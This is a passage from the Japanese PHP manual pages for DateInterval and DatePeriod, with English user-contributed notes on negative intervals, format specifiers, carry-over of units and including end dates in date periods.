$interval = new DateInterval('PT585.829S');  // Throws exception
?>

If this bug affects you, please go to the report for this bug in the PHP Bug Tracking System, and place a vote stating that it affects you:  https://bugs.php.net/bug.php?id=53831
Hernanibus 22-Sep-2017 08:03
It is not stated, but you cannot create directly a negative interval, this is you cannot create a "-2 days" interval as:

<?
$interval = new DateInterval("P-2D");//or
$interval = new DateInterval("-P2D");
?>

Instead you have to create first the interval and then set its 'invert' property to 1, this is:

<?
$interval = new DateInterval("P2D");
$interval->invert = 1;
?>

Then you should keep in mind that this interval acts as a negative number, hence to subtract the interval from a given date you must 'add' it:

<?
$interval = new DateInterval("P2D");
$interval->invert = 1;
$date       = new DateTime ("1978-01-23 17:46:00");
$date->add($interval)->format("Y-m-d H:i:s");//this is "1978-01-21 17:46:00"
?>
Ray.Paseur sometimes uses Gmail 28-Apr-2016 04:47
To recover the interval specification string:

<?php
function get_interval_spec(DateTime $alpha, DateTime $omega)
{
    $intvl = $alpha->diff($omega);

    $date = NULL;
    if ($intvl->y) $date .= $intvl->y . 'Y';
    if ($intvl->m) $date .= $intvl->m . 'M';
    if ($intvl->d) $date .= $intvl->d . 'D';

    $time = NULL;
    if ($intvl->h) $time .= $intvl->h . 'H';
    if ($intvl->i) $time .= $intvl->i . 'M';
    if ($intvl->s) $time .= $intvl->s . 'S';
    if ($time) $time = 'T' . $time;

    $text ='P' . $date . $time;
    if ($text == 'P') return 'PT0S';
    return $text;
}
lsloan-php dot net at umich dot edu 10-Mar-2016 10:05
Although PHP refers to periods of time as "intervals", ISO 8601 refers to them as "durations".  In ISO 8601, "intervals" are something else.

While ISO 8601 allows fractions for all parts of a duration (e.g., "P0.5Y"), DateInterval does not.  Use caution when calculating durations.  If the duration has a fractional part, it may be lost when storing it in a DateInterval object.
userexamplecom at mailinator dot com 05-Feb-2016 01:49
Take care, if you have a DateTime Object on the 31h of January and add Da DateInterval of one Month, then you are in March instead of February.

For Example:
---
// given the actual date is 2017-01-31
$today = new DateTime('now', $timeZoneObject);
$today->add(new DateInterval('P1M'));
echo $today->format('m');
// output: 03
---
admin at torntech dot com 22-Feb-2015 09:22
Warning - despite the $interval_spec accepting the ISO 8601 specification format, it does not accept decimal fraction values with period or comma as stated in the specification.

https://bugs.php.net/bug.php?id=53831

<?php
/* Example from ISO 8601 documentation */
$interval = new DateInterval('P0.5Y');
?>

Will result in
Fatal error: Uncaught exception 'Exception' with message 'DateInterval::__construct(): Unknown or bad format (P0.5Y)'
bkilinc at deyta dot net 20-Dec-2013 03:28
interval_spec Period Designators, has two 'M's for months and minutes.
owen at beliefs.com 11-Jul-2013 03:20
M is used to indicate both months and minutes.

As noted on the referenced wikipedia page for ISO 6801 http://en.wikipedia.org/wiki/Iso8601#Durations

To resolve ambiguity, "P1M" is a one-month duration and "PT1M" is a one-minute duration (note the time designator, T, that precedes the time value).

Using: PHP 5.3.2-1ubuntu4.19

// For 3 Months
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("P3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:26-0400
2013-10-11T11:12:26-0400

// For 3 Minutes
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("PT3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:42-0400
2013-07-11T11:15:42-0400

Insert a T after the P in the interval to add 3 minutes instead of 3 months.
buvinghausen at gmail dot com 09-Apr-2012 06:50
I think it is easiest if you would just use the sub method on the DateTime class.

<?php
$date = new DateTime();
$date->sub(new DateInterval("P89D"));
daniellehr at gmx dot de 21-Mar-2012 01:06
Alternatively you can use DateInterval::createFromDateString() for negative intervals:

<?php
$date = new DateTime();
$date->add(DateInterval::createFromDateString('-89 days'));
jawzx01 at gmail dot com 21-Feb-2012 10:43
As previously mentioned, to do a negative DateInterval object, you'd code:

<?php
$date1 = new DateTime();
$eightynine_days_ago = new DateInterval( "P89D" );
$eightynine_days_ago->invert = 1; //Make it negative.
$date1->add( $eightynine_days_ago );
?>

and then $date1 is now 89 days in the past.
kevinpeno at gmail dot com 17-Mar-2011 11:47
Note that, while a DateInterval object has an $invert property, you cannot supply a negative directly to the constructor similar to specifying a negative in XSD ("-P1Y"). You will get an exception through if you do this.

Instead you need to construct using a positive interval ("P1Y") and the specify the $invert property === 1.
kuzb 04-Feb-2011 04:42
It should be noted that this class will not calculate days/hours/minutes/seconds etc given a value in a single denomination of time.  For example:

<?php
    $di = new DateInterval('PT3600S');
    echo $di->format('%H:%i:%s');

?>

will yield 0:0:3600 instead of the expected 1:0:0


相対指定文字列から DateInterval を作成する

  • ≪ DateInterval::__construct
  • DateInterval::format ≫
  • PHP Manual
  • DateInterval
  • 相対指定文字列から DateInterval を作成する

DateInterval::createFromDateString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::createFromDateString — 相対指定文字列から DateInterval を作成する

説明

public static DateInterval::createFromDateString ( string $datetime ) : DateInterval|false

通常の日付パーサを用いて、パースされた相対指定文字列から DateInterval を設定します。

パラメータ

datetime

相対部分を含む日付。 特に、strtotime() や DateTime が使うパーサーがサポートする 相対書式 を使って DateInterval を作ることができます。

例

例1 日付の間隔のパース

<?php
// セットになっているふたつは、それぞれ同じ間隔を表します。
$i = new DateInterval('P1D');
$i = DateInterval::createFromDateString('1 day');

$i = new DateInterval('P2W');
$i = DateInterval::createFromDateString('2 weeks');

$i = new DateInterval('P3M');
$i = DateInterval::createFromDateString('3 months');

$i = new DateInterval('P4Y');
$i = DateInterval::createFromDateString('4 years');

$i = new DateInterval('P1Y1D');
$i = DateInterval::createFromDateString('1 year + 1 day');

$i = new DateInterval('P1DT12H');
$i = DateInterval::createFromDateString('1 day + 12 hours');

$i = new DateInterval('PT3600S');
$i = DateInterval::createFromDateString('3600 seconds');
?>

返り値

新しい DateInterval のインスタンスを返します。 失敗した場合に false を返します

User Contributed Notes

Anonymous 28-Sep-2009 12:02
DateInterval::createFromDateString ( string $time )

When the manual says "Uses the normal date parsers" it means that this function cannot take $time = ISO8601 strings like "P7D".  If you want to use those, you must use the constructor.


間隔をフォーマットする

  • ≪ DateInterval::createFromDateString
  • DatePeriod ≫
  • PHP Manual
  • DateInterval
  • 間隔をフォーマットする

DateInterval::format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::format — 間隔をフォーマットする

説明

public DateInterval::format ( string $format ) : string

間隔をフォーマットします。

パラメータ

format

次の文字を、 format パラメータ文字列に使用することができます。 フォーマット文字は、パーセント記号 (%) で始めなければなりません。
format 文字 | 説明 | 値の例
% リテラルとしての % %
Y | 年、数値、先頭に 0 を含む 2 桁 | 01, 03
y | 年、数値 | 1, 3
M | 月、数値、先頭に 0 を含む 2 桁 | 01, 03, 12
m | 月、数値 | 1, 3, 12
D | 日、数値、先頭に 0 を含む 2 桁 | 01, 03, 31
d | 日、数値 | 1, 3, 31
a | DateTime::diff() の結果に使った場合は総日数、それ以外の場合は (unknown) | 4, 18, 8123
H | 時間、数値、先頭に 0 を含む 2 桁 | 01, 03, 23
h | 時間、数値 | 1, 3, 23
I | 分、数値、先頭に 0 を含む 2 桁 | 01, 03, 59
i | 分、数値 | 1, 3, 59
S | 秒、数値、先頭に 0 を含む 2 桁 | 01, 03, 57
s | 秒、数値 | 1, 3, 57
F | マイクロ秒、少なくとも6桁。足りない分は先頭が0埋めされます。 | 007701, 052738, 428291
f | マイクロ秒、数値 | 7701, 52738, 428291
R 負の値の場合は "-"、正の値の場合は "+" -, +
r 負の値の場合は "-"、正の値の場合は空文字 -,

返り値

フォーマットされた間隔を返します。

注意

注意:

DateInterval::format() メソッドは、 時刻文字列や日付セグメントでの繰り越しを再計算しません。 これは意図的な仕様です。なぜなら "32 days" のようにオーバーフローした値は "1 month and 4 days" から "1 month and 1 day" までのどれとでも解釈可能だからです。

変更履歴

バージョン | 説明
7.1.0 | フォーマット文字 F と f が追加されました。

例

例1 DateInterval の例

<?php

$interval = new DateInterval('P2Y4DT6H8M');
echo $interval->format('%d days');

?>

上の例の出力は以下となります。

4 days

例2 DateInterval での繰り越しの例

<?php

$interval = new DateInterval('P32D');
echo $interval->format('%d days');

?>

上の例の出力は以下となります。

32 days

例3 DateInterval および DateTime::diff() での修飾子 %a および %d

<?php

$january = new DateTime('2010-01-01');
$february = new DateTime('2010-02-01');
$interval = $february->diff($january);

// %a は総日数を出力します
echo $interval->format('%a total days')."\n";

// 一方 %d は、月数に含まれない日数のみを出力します
echo $interval->format('%m month, %d days');

?>

上の例の出力は以下となります。

31 total days
1 month, 0 days

参考

  • DateTime::diff() - ふたつの DateTime オブジェクトの差を返す

User Contributed Notes

thflori at gmail dot com 12-Mar-2018 03:17
The fact that $dateTime->diff(new DateTime()) returns a DateInterval and the interval is something where you don't get any useful number is somebit annoying.

<?php

$longTimeAgo = new DateTime('1999-10-23 16:29:21')

// easy workaround:
var_dump((float)$longTimeAgo->format('U.u') - (float)(new DateTime())->format('U.u'));

// or in seconds if you are not that precise
var_dump($longTimeAgo->getTimestamp() - (new DateTime())-getTimestamp());

// this function can help you if you want to stick with DateInterval objects
function interval_to_float(DateInterval $interval) {
  $seconds = 0;
  $days = (int)$interval->days;
  if ($days === false || $days === -99999) { //php5.5 compatibility
    $days = floor($interval->y * 365.2525);
    $days += $interval->m * 30; // that's totally inaccurate
   // or: $days += floor($interval->m * 30.4167);
    $days += $interval->d;
  }
  return ($days * 24 * 60 * 60 +
    $interval->h * 60 * 60 +
    $interval->i * 60 +
    $interval->s) * ($interval->invert ? -1 : 1) +
    $interval->f / 1000000; // you may wonder but they are negativ and not affected by invert
}
pankajs7590 at gmail dot com 17-Jun-2017 06:46
public function getTotalInterval($interval, $type){
        switch($type){
            case 'years':
                return $interval->format('%Y');
                break;
            case 'months':
                $years = $interval->format('%Y');
                $months = 0;
                if($years){
                    $months += $years*12;
                }
                $months += $interval->format('%m');
                return $months;
                break;
            case 'days':
                return $interval->format('%a');
                break;
            case 'hours':
                $days = $interval->format('%a');
                $hours = 0;
                if($days){
                    $hours += 24 * $days;
                }
                $hours += $interval->format('%H');
                return $hours;
                break;
            case 'minutes':
                $days = $interval->format('%a');
                $minutes = 0;
                if($days){
                    $minutes += 24 * 60 * $days;
                }
                $hours = $interval->format('%H');
                if($hours){
                    $minutes += 60 * $hours;
                }
                $minutes += $interval->format('%i');
                return $minutes;
                break;
            case 'seconds':
                $days = $interval->format('%a');
                $seconds = 0;
                if($days){
                    $seconds += 24 * 60 * 60 * $days;
                }
                $hours = $interval->format('%H');
                if($hours){
                    $seconds += 60 * 60 * $hours;
                }
                $minutes = $interval->format('%i');
                if($minutes){
                    $seconds += 60 * $minutes;
                }
                $seconds += $interval->format('%s');
                return $seconds;
                break;
            case 'milliseconds':
                $days = $interval->format('%a');
                $seconds = 0;
                if($days){
                    $seconds += 24 * 60 * 60 * $days;
                }
                $hours = $interval->format('%H');
                if($hours){
                    $seconds += 60 * 60 * $hours;
                }
                $minutes = $interval->format('%i');
                if($minutes){
                    $seconds += 60 * $minutes;
                }
                $seconds += $interval->format('%s');
                $milliseconds = $seconds * 1000;
                return $milliseconds;
                break;
            default:
                return NULL;
        }
    }
zell1285 at gmail dot com 22-Apr-2016 10:00
I was doing this: $endDate->diff($startDate)->format('%a')
to get the number of the days between the end date and the start date. This is correct, but if I subtract 2016-04-23 00:00:00 to 2016-04-02 09:39:01 (note that in only one of the datetime values we have the time) the result is 21 (and not 20 as I expected). This is because the result of the diff is 20 days AND 14 hours, 20 mins and 59 secs. If you use the %a to get the days from a dateinterval, it will round the days (and if the hours are greater than 12, it will round days up).

So, DO NOT USE the %a formatting to get the difference in days between 2 datetime unless you are 100% sure that both the Datetime objects don't have the time.

You can solve easily with $valueDate->diff($startDate)->days that will return only the days in a dateinterval (without the fuc***g rounding).
me at unreal4u dot com 09-Oct-2015 10:33
If you want the difference between two timestamps in HOURS, do not forget to add the number of days:

<?php
// Bad example
$lastEntryDate = new \DateTime('2015-05-23 00:10:20', new \DateTimeZone('UTC'));
$dateDifference = $lastEntryDate->diff(new \DateTime('2015-05-25 02:35:45', new \DateTimeZone('UTC')));

var_dump((int)$dateDifference->format('%H'));
// Returns 2
if ((int)$dateDifference->format('%H') > 24) {
        // Will never enter here, (int)$dateDifference->format('%H') will contain 0-23 ONLY
}
?>

Instead, sum the days:
<?php
// Bad example
$lastEntryDate = new \DateTime('2015-05-23 00:10:20', new \DateTimeZone('UTC'));
$dateDifference = $lastEntryDate->diff(new \DateTime('2015-05-25 02:35:45', new \DateTimeZone('UTC')));

var_dump(($dateDifference->days * 24 + (int)$dateDifference->format('%H')));
// Returns 50
if (($dateDifference->days * 24 + (int)$dateDifference->format('%H')) > 24) {
        // Will enter here now :)
}
?>

Hope this saves somebody some time and possible bugs :)
kulakov74 at yandex dot ru 25-Jan-2014 09:24
glavic, this does not eliminate the problem of "32 days", if you use your class for normalizing intervals of days, because the result will depend on the current month which is used for DateTime by default. And if that does not matter (because the interval is not that long) you don't have to call diff() to get the same recalculation:
$DT=new DateTime('0000-01-01'); $DT->add($oInt); echo($DT->format('Y-m-d H:i:s'));
glavic at gmail dot com 12-Sep-2013 10:58
How to easy recalculate carry over points:

<?php
class DateIntervalEnhanced extends DateInterval {

    public function recalculate()
    {
        $from = new DateTime;
        $to = clone $from;
        $to = $to->add($this);
        $diff = $from->diff($to);
        foreach ($diff as $k => $v) $this->$k = $v;
        return $this;
    }

}

$di = new DateIntervalEnhanced('PT3600S');
echo "Instead of " . $di->format('%h:%i:%s') . " it outputs " . $di->recalculate()->format('%h:%i:%s');
# output will be: "Instead of 0:0:3600 it outputs 1:0:0"
beowolve at gmail dot com 03-Jul-2013 10:13
German Version of formatDateDiff:

function formatDateDiff($start, $end=null) {
    if(!($start instanceof DateTime)) {
        $start = new DateTime($start);
    }

    if($end === null) {
        $end = new DateTime();
    }

    if(!($end instanceof DateTime)) {
        $end = new DateTime($start);
    }

    $interval = $end->diff($start);
    $doPlural = function($nb,$str){
        if ($nb > 1) {
            switch ($str) {
                case 'Jahr':
                case 'Monat':
                case 'Tag':
                    return $str.'e';
                case 'Stunde':
                case 'Minute':
                case 'Sekunde':
                    return $str.'n';
            }
        } else
            return $str;
    }; // adds plurals

    $format = array();
    if($interval->y !== 0) {
        $format[] = "%y ".$doPlural($interval->y, "Jahr");
    }
    if($interval->m !== 0) {
        $format[] = "%m ".$doPlural($interval->m, "Monat");
    }
    if($interval->d !== 0) {
        $format[] = "%d ".$doPlural($interval->d, "Tag");
    }
    if($interval->h !== 0) {
        $format[] = "%h ".$doPlural($interval->h, "Stunde");
    }
    if($interval->i !== 0) {
        $format[] = "%i ".$doPlural($interval->i, "Minute");
    }
    if($interval->s !== 0) {
        $format[] = "%s ".$doPlural($interval->s, "Sekunde");
    }

    if(count($format)==0 || (count($format)==1 && $interval->s !== 0)) {
        return "weniger als eine Minute";
    }

    // We use the two biggest parts
    if(count($format) > 1) {
        $format = array_shift($format).", ".array_shift($format);
    } else {
        $format = array_pop($format);
    }

    // Prepend 'since ' or whatever you like
    return $interval->format($format);
}
balaclark at gmail dot com 02-Jun-2011 03:58
Be aware that your default timezone can sometimes alter the result of a diff so that the returned months/days are incorrect.

There is a bug report at: http://bugs.php.net/bug.php?id=52480
pekka at gmx dot de 13-Feb-2011 03:20
Note that `%a` is broken on Windows on VC6 builds. http://bugs.php.net/bug.php?id=51184
kuzb 04-Feb-2011 05:15
Quick class to allow you to input a time in any unit, and have it recalculate in to different denominations (for example, seconds to hours, minutes and seconds):

<?php
    class DateIntervalEnhanced extends DateInterval
    {

      /* Keep in mind that a year is seen in this class as 365 days, and a month is seen as 30 days.
         It is not possible to calculate how many days are in a given year or month without a point of
         reference in time.*/
      public function to_seconds()
      {
        return ($this->y * 365 * 24 * 60 * 60) +
               ($this->m * 30 * 24 * 60 * 60) +
               ($this->d * 24 * 60 * 60) +
               ($this->h * 60 * 60) +
               ($this->i * 60) +
               $this->s;
      }

      public function recalculate()
      {
        $seconds = $this->to_seconds();
        $this->y = floor($seconds/60/60/24/365);
        $seconds -= $this->y * 31536000;
        $this->m = floor($seconds/60/60/24/30);
        $seconds -= $this->m * 2592000;
        $this->d = floor($seconds/60/60/24);
        $seconds -= $this->d * 86400;
        $this->h = floor($seconds/60/60);
        $seconds -= $this->h * 3600;
        $this->i = floor($seconds/60);
        $seconds -= $this->i * 60;
        $this->s = $seconds;
      }
    }

    // Example usage
    $di = new DateIntervalEnhanced('PT3600S');
    $di->recalculate();
    // outputs 1:0:0 instead of 0:0:3600 now!
    echo $di->format('%H:%i:%s');
?>
baptiste dot place at utopiaweb dot fr 15-Mar-2010 07:47
With php 5.3, DateTime is sweet !
Here is one quick example :

<?php
/**
 * A sweet interval formatting, will use the two biggest interval parts.
 * On small intervals, you get minutes and seconds.
 * On big intervals, you get months and days.
 * Only the two biggest parts are used.
 *
 * @param DateTime $start
 * @param DateTime|null $end
 * @return string
 */
public function formatDateDiff($start, $end=null) {
    if(!($start instanceof DateTime)) {
        $start = new DateTime($start);
    }

    if($end === null) {
        $end = new DateTime();
    }

    if(!($end instanceof DateTime)) {
        $end = new DateTime($start);
    }

    $interval = $end->diff($start);
    $doPlural = function($nb,$str){return $nb>1?$str.'s':$str;}; // adds plurals

    $format = array();
    if($interval->y !== 0) {
        $format[] = "%y ".$doPlural($interval->y, "year");
    }
    if($interval->m !== 0) {
        $format[] = "%m ".$doPlural($interval->m, "month");
    }
    if($interval->d !== 0) {
        $format[] = "%d ".$doPlural($interval->d, "day");
    }
    if($interval->h !== 0) {
        $format[] = "%h ".$doPlural($interval->h, "hour");
    }
    if($interval->i !== 0) {
        $format[] = "%i ".$doPlural($interval->i, "minute");
    }
    if($interval->s !== 0) {
        if(!count($format)) {
            return "less than a minute ago";
        } else {
            $format[] = "%s ".$doPlural($interval->s, "second");
        }
    }

    // We use the two biggest parts
    if(count($format) > 1) {
        $format = array_shift($format)." and ".array_shift($format);
    } else {
        $format = array_pop($format);
    }

    // Prepend 'since ' or whatever you like
    return $interval->format($format);
}
?>


DatePeriod クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

はじめに

日付の期間をあらわします。

日付の期間を使うと、指定した期間に定期的に発生する内容を反復処理できます。

クラス概要

DatePeriod implements Traversable {
/* 定数 */
const int EXCLUDE_START_DATE = 1 ;
/* プロパティ */
public int $recurrences ;
public bool $include_start_date ;
public DateTimeInterface $start ;
public DateTimeInterface $current ;
public DateTimeInterface $end ;
public DateInterval $interval ;
/* メソッド */
public __construct ( DateTimeInterface $start , DateInterval $interval , int $recurrences , int $options = 0 )
public __construct ( DateTimeInterface $start , DateInterval $interval , DateTimeInterface $end , int $options = 0 )
public __construct ( string $isostr , int $options = 0 )
public getDateInterval ( ) : DateInterval
public getEndDate ( ) : DateTimeInterface|null
public getRecurrences ( ) : int|null
public getStartDate ( ) : DateTimeInterface
}

定義済み定数

DatePeriod::EXCLUDE_START_DATE

開始日を含まない。DatePeriod::__construct() で使用します。

プロパティ

recurrences

DatePeriod インスタンスが $recurrences を明示的に渡すことによって作成された場合の反復回数 DatePeriod::getRecurrences() もご覧ください。

include_start_date

開始日を反復日のセットに含めるかどうか。

start

期間の開始日。

current

反復中に期間内の現在の日付が含まれます。

end

期間の終了日。

interval

ISO 8601 の繰り返し間隔の指定。

変更履歴

バージョン | 説明
5.3.27, 5.4.17 | public プロパティー recurrences、 include_start_date、start、 current、end および interval が公開されました。

目次

  • DatePeriod::__construct — 新しい DatePeriod オブジェクトを作成する
  • DatePeriod::getDateInterval — 間隔を取得する
  • DatePeriod::getEndDate — 終了日を取得する
  • DatePeriod::getRecurrences — 繰り返しの数を取得する
  • DatePeriod::getStartDate — 開始日を取得する

User Contributed Notes

Joey 27-Aug-2019 03:11
This class isn't always intuitive. End is exclusive. All you need to do to include it is to add a second (the smallest amount).

Microseconds are ignored.

php -r '
/***/$p1d = new DateInterval("P1D");
/***/$b = (new DateTime())->setTime(0, 0, 0, 0);
/***/$a = (clone $b)->sub($p1d);

/***/$f = function(DateTime $b)use($a, $p1d):void {
/***//***/$p = new DatePeriod($a, $p1d, $b);
/***//***/$i = iterator_to_array($p);
/***//***/print_r([$i[0], end($i), $a, $b]);
/***/};

/***/$f($b);
/***/$f($b->setTime(0, 0, 0, 1));
/***/$f($b->setTime(0, 0, 1, 0));
'

It is a sign of the end times.
johnzenith71(at)gmail.com 29-Nov-2018 08:19
An extra piece of information on how to use the (modify method) to easily get date ranges:

<?php
$subscription_start_date = new DateTime( 'now' );

// Modify the $subscription_start_date date value to required date range,
// this could be in days or months depending on how your application is designed

// Days
$subscription_expiration = $subscription_start_date->modify( '+60 days' );
echo $subscription_expiration->format( 'Y-m-d' ) . "\n";

// Months
$subscription_expiration = $subscription_start_date->modify( '+2 Months' );
echo $subscription_expiration->format( 'Y-m-d' ) . "\n";

// Or even in years
$subscription_expiration = $subscription_start_date->modify( '+2 years' );
echo $subscription_expiration->format( 'Y-m-d' ) . "\n";
?>
joseph dot cardwell at jbcwebservices dot com 26-Apr-2018 01:27
As someone noted, at least in 7.2, dates with time 0 are excluded from the start and end.

To get a regular span of dates I ended up with:

$dates = new DatePeriod(
    ( new DateTime($date_start) )->setTime(0,0,1),
    new DateInterval('P1D'),
    ( new DateTime($date_end) )->setTime(0,0,1)
);
mike at saymikeo dot com 11-May-2017 04:06
Calculating business days can be cumbersome. Here is an iterator for handling business days. Usage examples below for adding # of business days and calculating how many business days between two dates.

Here is the iterator class
https://gist.github.com/styks1987/29dd0f6a68e3b07ba70fec18f732eb86

Usage

Counting # of Business Days between two dates

<?php
function countBusinessDays($start, $stop)
    {
        if($start > $stop){
            $tmpStart = clone $start;
            $start = clone $stop;
            $stop = clone $tmpStart;
        }

        // Adding the time to the end date will include it
        $period = new \DatePeriod($start->setTime(0,0,0), new \DateInterval('P1D'), $stop->setTime(23,59,59), \DatePeriod::EXCLUDE_START_DATE);
        $periodIterator = new BusinessDayPeriodIterator($period);
        $businessDays = 0;
        while($periodIterator->valid()){
            // If we run into a weekend, don't count it
            if(!$periodIterator->isWeekend()){
                $businessDays++;
            }
            $periodIterator->next();
        }

        return $businessDays;
    }
?>

Add # of business days

<?php
function addBusinessDays(\DateTime $startDateTime, $daysToAdd)
    {
        $endDateTime = clone $startDateTime;
        $endDateTime->add(new \DateInterval('P' . $daysToAdd . 'D'))->setTime(23,59,59);
        $period = new \DatePeriod($startDateTime, new \DateInterval('P1D'), $endDateTime);

        $periodIterator = new BusinessDayPeriodIterator($period);
        $adjustedEndingDate = clone $startDateTime;
        while($periodIterator->valid()){
            $adjustedEndingDate = $periodIterator->current();
            // If we run into a weekend, extend our days
            if($periodIterator->isWeekend()){
                $periodIterator->extend();
            }
            $periodIterator->next();
        }

        return $adjustedEndingDate;
    }
?>
mail at pascalhofmann dot de 19-Jan-2017 09:58
When looping over a DatePeriod object, the returned objects always implement DateTimeInterface. The exact type returned depends on how the DatePeriod was created. If $start was a DateTimeImmutable, the objects returned will be of type DateTimeImmutable. If a DateTime object was used, the objects returned will be of type DateTime.
php at karlsruler dot de 22-Jun-2015 12:34
The iterator seems to check the time as well, it excludes the end element if its time is 00:00:00. So the slightly safer version (to compare it against joshs suggestion) is to use $date->setTime(23, 59, 59) instead of $date->modify("+1 day").
patrick at adrichem dot nu 22-Jan-2014 11:32
DatePeriod is not compatible with negative intervals.

To do so you can simply use DateInterval and loop through it yourself like this: (not start should be ahead of end if you use a negative interval

    class DateRange extends ArrayIterator
    {

        protected $oDate = null;
        protected $oStartDate = null;
        protected $oEndDate = null;
        protected $oInterval = null;

        public function __construct( DateTime $oStartDate, DateTime $oEndDate, DateInterval $oInterval = null )
        {
            $this->oStartDate = $oStartDate;
            $this->oDate = clone $oStartDate;
            $this->oEndDate = $oEndDate;
            $this->oInterval = $oInterval;
        }

        public function next()
        {
            $this->oDate->add($this->oInterval);
            return $this->oDate;
        }

        public function current()
        {
            return $this->oDate;
        }

        public function valid()
        {
            if ($this->oStartDate > $this->oEndDate)
            {
                return $this->oDate >= $this->oEndDate;
            }
            return $this->oDate <= $this->oEndDate;
        }

    }

$oRange = new DateRange(new DateTime("2013-10-01"), new DateTime("2013-01-01"), DateInterval::createFromDateString("-1 month") );
    foreach ($oRange as $oDate)
    {
        echo $oDate->format("Y-m-d") . "<br />";
    }
josh dot love at verizon dot net 27-Aug-2012 02:23
Just an example to include the end date using the DateTime method 'modify'

<?php

$begin = new DateTime( '2012-08-01' );
$end = new DateTime( '2012-08-31' );
$end = $end->modify( '+1 day' );

$interval = new DateInterval('P1D');
$daterange = new DatePeriod($begin, $interval ,$end);

foreach($daterange as $date){
    echo $date->format("Ymd") . "<br>";
}
?>
logos-php at kith dot org 05-Jul-2012 07:18
Thanks much to those of you who supplied sample code; that helps a lot.

I wanted to mention another thing that helped me: when you do that foreach ( $period as $dt ), the $dt values are DateTime objects.

That may be obvious to those of you with more experience, but I wasn't sure until I looked it up on Stack Overflow. So I figured it was worth posting here to help others like me who might've been confused or uncertain.
Memori 25-Feb-2011 12:19
If you want to include the end-date, add one day to it:

<?php
$startDate = new DateTime();
$endDate = new DateTime();

$startDateInt = new DateInterval( "P1Y" );
$endDateInt = new DateInterval( "P1D" );

$startDate->sub( $startDateInt );
$endDate->add( $endDateInt );

$periodInt = new DateInterval( "P1M" );
$period = new DatePeriod( $startDate, $periodInt, $endDate );

// At februari 2011:
// $period = (8,9,10,11,12,1,2)
?>
jkaatz at gmx dot de 10-Jul-2009 01:55
Nice example from PHP Spring Conference (thanks to Johannes Schluter and David Zulke)

<?php
$begin = new DateTime( '2007-12-31' );
$end = new DateTime( '2009-12-31 23:59:59' );

$interval = DateInterval::createFromDateString('last thursday of next month');
$period = new DatePeriod($begin, $interval, $end, DatePeriod::EXCLUDE_START_DATE);

foreach ( $period as $dt )
  echo $dt->format( "l Y-m-d H:i:s\n" );
?>

DateInterval specs could be found at http://en.wikipedia.org/wiki/ISO_8601#Time_intervals


新しい DatePeriod オブジェクトを作成する

  • ≪ DatePeriod
  • DatePeriod::getDateInterval ≫
  • PHP Manual
  • DatePeriod
  • 新しい DatePeriod オブジェクトを作成する

DatePeriod::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DatePeriod::__construct — 新しい DatePeriod オブジェクトを作成する

説明

public DatePeriod::__construct ( DateTimeInterface $start , DateInterval $interval , int $recurrences , int $options = 0 )
public DatePeriod::__construct ( DateTimeInterface $start , DateInterval $interval , DateTimeInterface $end , int $options = 0 )
public DatePeriod::__construct ( string $isostr , int $options = 0 )

新しい DatePeriod オブジェクトを作成します。

パラメータ

start

期間の開始日。

interval

期間内での発生間隔。

recurrences

反復回数。 0 より大きな値でなければいけません。

end

期間の終了日。

isostr

ISO 8601 による繰り返し間隔の指定。 0回の繰り返し (R0/) はサポートしていません。

options

DatePeriod::EXCLUDE_START_DATE を指定すれば、 開始日を期間内の発生日から除外できます。

変更履歴

バージョン | 説明
7.2.19, 7.3.6, 7.4.0 | recurrences は、0 より大きな値が必須になりました。

例

例1 DatePeriod の例

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');
$recurrences = 4;
$iso = 'R4/2012-07-01T00:00:00Z/P7D';

// これらはすべて同じ意味です
$period = new DatePeriod($start, $interval, $recurrences);
$period = new DatePeriod($start, $interval, $end);
$period = new DatePeriod($iso);

// DatePeriod の反復処理をすると、
// 期間内のすべての発生日が表示されます。
foreach ($period as $date) {
    echo $date->format('Y-m-d')."\n";
}
?>

上の例の出力は以下となります。

2012-07-01
2012-07-08
2012-07-15
2012-07-22
2012-07-29

例2 DatePeriod で DatePeriod::EXCLUDE_START_DATE を使う例

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');

$period = new DatePeriod($start, $interval, $end,
                         DatePeriod::EXCLUDE_START_DATE);

// DatePeriod の反復処理をすると、
// 期間内のすべての発生日が表示されます。
// ただし、今回の場合は 2012-07-01 が表示されません。
foreach ($period as $date) {
    echo $date->format('Y-m-d')."\n";
}
?>

上の例の出力は以下となります。

2012-07-08
2012-07-15
2012-07-22
2012-07-29

注意

ISO 8601 のセクション 4.5 "Recurring time interval" に記載されている無限回数の繰り返しには対応していません。 つまり、isostr に "R/..." を渡したり end に null を渡したりしても動作しません。

User Contributed Notes

youssef dot benhssaien at gmail dot com 07-Jan-2020 10:23
The parameter isostr should accept an ISO 8601 format, but doing this is not work :
<?php
      $dateStart = date_create('first day of next month this year');

      $isoStr = $dateStart ->format(DateTimeInterface::ISO8601);
      $datePeriod = new DatePeriod("R10/{$isoStr}/P1M");
     // Throw Exception : DatePeriod::__construct(): Unknown or bad format (R10/2020-02-01T22:52:26+0000Z/P1M)

     // While doing it by this way works
    $datePeriod = new DatePeriod($dateStart , \DateInterval::createFromDateString("+1 month"), 10);
?>
lars at hp-designs dot com 07-Aug-2012 05:02
When you add the time 23:59:59 to the end DateTime object something like the following then the end date will be included in the period:

<?php
$date_start = new DateTime('2012-03-12');
$date_end = new DateTime('2012-03-22 23:59:59');

$interval = '+2 days';
$date_interval = DateInterval::createFromDateString($interval);

$period = new DatePeriod($date_start, $date_interval, $date_end, DatePeriod::EXCLUDE_START_DATE);

foreach($period as $dt) {
 echo $dt->format('d/m');
}
?>

OUTPUT:
14/03
16/03
18/03
20/03
22/03
simon dot kohlmeyer at mayflower dot de 03-Nov-2010 03:50
I found two things useful to know that aren't covered here.

1. endDate is excluded:

<?php
$i = new DateInterval('P1D');
$d1 = new Datetime();
$d2 = clone $d1; $d2->add($i);
